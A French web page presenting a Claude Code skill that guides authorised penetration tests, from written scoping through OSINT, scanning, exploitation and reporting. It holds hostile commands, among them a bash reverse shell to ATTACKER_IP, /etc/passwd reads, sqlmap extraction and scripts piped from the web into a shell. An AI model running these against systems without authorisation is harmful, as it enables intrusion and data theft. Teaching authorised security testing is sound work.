💻 Développement

dev-pentest-assistant

Guide méthodologique pour tests d'intrusion et évaluation de sécurité.

⚡ Installation & lancement en 1 commande

Copiez-collez dans votre terminal : le skill s'installe dans ~/.claude/skills et Claude Code se lance directement dessus.

macOS / Linux
curl -fsSL https://raw.githubusercontent.com/khalilbenaz/claude-skills-collection/main/install.sh | sh -s -- dev-pentest-assistant --launch
Windows (PowerShell)
iex "& { $(iwr -useb https://raw.githubusercontent.com/khalilbenaz/claude-skills-collection/main/install.ps1) } dev-pentest-assistant -Launch"

🚀 Déjà installé ?

claude "/dev-pentest-assistant"

Ou tapez /dev-pentest-assistant dans une session Claude Code, ou décrivez simplement votre besoin — le skill se déclenche automatiquement via le skill-router.

🔑 Déclencheurs automatiques

Le skill s'active automatiquement quand votre demande contient :

pentesttest d'intrusiontest de pénétrationhacking éthiquered teambug bountysurface d'attaque

📦 Installation manuelle

git clone https://github.com/khalilbenaz/claude-skills-collection.git cp -r claude-skills-collection/skills/dev-pentest-assistant ~/.claude/skills/

Payload du plugin : skills/dev-pentest-assistant · source éditable : dev-skills/pentest-assistant

📖 Manuel

Pentest Assistant

Étape 0 — Cadrage obligatoire avant tout test

Avant d'écrire la première commande :

ÉlémentQuestions à trancher
Type de testBlackbox / Greybox / Whitebox ?
PérimètreDomaines, IPs, CIDR inclus et exclus (par écrit)
Actions interditesDoS, dump de données prod, création de comptes, pivoting hors scope
Plages horairesHeures autorisées pour les scans intrusifs
Contact urgenceQui appeler si un système tombe ?
Autorisation écriteLetter of Engagement / NDA signé — sine qua non légalement
Sans document d'autorisation signé = arrêt immédiat. Le hacking sans consentement est un délit pénal dans toutes les juridictions.

Étape 1 — Reconnaissance passive (OSINT, zero interaction)

Objectif : cartographier la surface d'attaque sans toucher la cible.

# Sous-domaines via Certificate Transparency
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq '.[].name_value' | sort -u

# ASN + blocs IP d'une organisation
amass intel -org "Example Corp" -asn 12345

# Emails + domaines avec theHarvester
theHarvester -d example.com -b google,bing,linkedin,shodan -f harvest_out

# Recherche Shodan (sans scan actif)
shodan search "org:\"Example Corp\" port:22,443,8080" --fields ip_str,port,data

Checklist OSINT :


Étape 2 — Reconnaissance active (interaction directe)

# Scan complet — ports + services + scripts NSE + OS
nmap -sV -sC -O -T4 -p- 10.0.0.1 -oA nmap_full

# Découverte rapide des hôtes actifs sur un réseau
nmap -sn 10.0.0.0/24 -oG alive_hosts.txt

# Énumération web — répertoires et fichiers
feroxbuster -u https://example.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,js,json -t 40

# Sous-domaines actifs (brute-force DNS)
ffuf -u https://FUZZ.example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200,301,302

Fichiers sensibles à chercher systématiquement :


Étape 3 — Identification des vulnérabilités

Scan automatisé

# Nuclei — templates CVE + misconfigurations + exposures
nuclei -u https://example.com -t cves/ -t misconfigurations/ -t exposures/ -severity medium,high,critical -o nuclei_out.txt

# Nikto — scan web rapide
nikto -h https://example.com -output nikto_out.txt

# WPScan (si WordPress)
wpscan --url https://example.com --enumerate vp,vt,u --api-token $WPSCAN_TOKEN

Analyse manuelle prioritaire

Web Application (OWASP Top 10 2021) :

Infrastructure :

Active Directory :


Étape 4 — Exploitation contrôlée

Règle d'or : documenter AVANT, PENDANT et APRÈS chaque action.

# Exemple SQLi — extraction de version DB (preuve d'impact minimal)
sqlmap -u "https://example.com/search?q=test" --dbs --batch --level 2 --risk 1

# Reverse shell minimal pour démonstration (si scope autorisé)
# Sur attaquant : nc -lvnp 4444
# Payload bash : bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Vérifier les permissions Linux post-accès
id && whoami && sudo -l && cat /etc/passwd | grep -v nologin

# Enumération rapide post-accès Windows
whoami /priv && net localgroup administrators && systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

Template de documentation par finding :

Finding #N — [Titre court]
Date/heure : 2026-06-24 14:32 UTC
URL/IP ciblée : https://example.com/api/users/42
Payload / commande : GET /api/users/1 (IDOR : ID modifié de 42 → 1)
Réponse obtenue : 200 OK + données PII utilisateur ID 1
Preuve : screenshot_finding_N.png
Sévérité CVSS 3.1 : 8.1 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Impact : accès à toutes les données utilisateurs sans autorisation

Étape 5 — Post-exploitation et évaluation d'impact

Ne jamais implémenter réellement la persistence — documenter uniquement la possibilité.

Évaluer :

# LinPEAS — enumération privilege escalation Linux
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee linpeas_out.txt

# WinPEAS — Windows
.\winPEAS.exe quiet | Out-File winpeas_out.txt

Étape 6 — Rapport de pentest

Structure minimale :

1. Executive Summary (1 page, non technique)
   - Niveau de risque global : Critique / Élevé / Moyen / Faible
   - Nb findings par sévérité
   - Top 3 findings avec impact business en 1 phrase chacun

2. Findings (1 section par vulnérabilité)
   - Titre + sévérité CVSS 3.1
   - Description + preuve (screenshot/log)
   - Impact démontré
   - Remédiation concrète avec délai suggéré (Critique < 48h, Élevé < 2 semaines, ...)

3. Matrice de risque
4. Annexes : logs bruts, requêtes HTTP complètes, code PoC

Outils de reporting : Dradis, PlexTrac, ou template Markdown/Jinja exporté en PDF.


Garde-fous — Anti-patterns et pièges fréquents

PiègeConséquenceBonne pratique
Scanner hors scope (IP voisine)Délit pénal + rupture de contratToujours valider le CIDR exact avant scan
Lancer un DoS "pour tester"Indisponibilité prod, pénalitésExplicitement interdit sauf accord écrit spécifique
Implémenter la persistence sur prodIncident de sécurité réelDocumenter la possibilité, ne pas exécuter
Oublier de nettoyer les artefactsWeb shell actif = incident ouvertChecklist de nettoyage post-test obligatoire
Stocker les credentials trouvés en clairFuite potentielleVault chiffré (KeePass, Bitwarden) + destruction après rapport
Travailler sans VPN dédiéAttribution de l'IP personnelleToujours passer par un pivot/VPN propre au pentest
Rapport sans remédiation actionnableClient ne sait pas quoi faireChaque finding = correctif concret + délai suggéré

Référentiel et cadre légal (2026)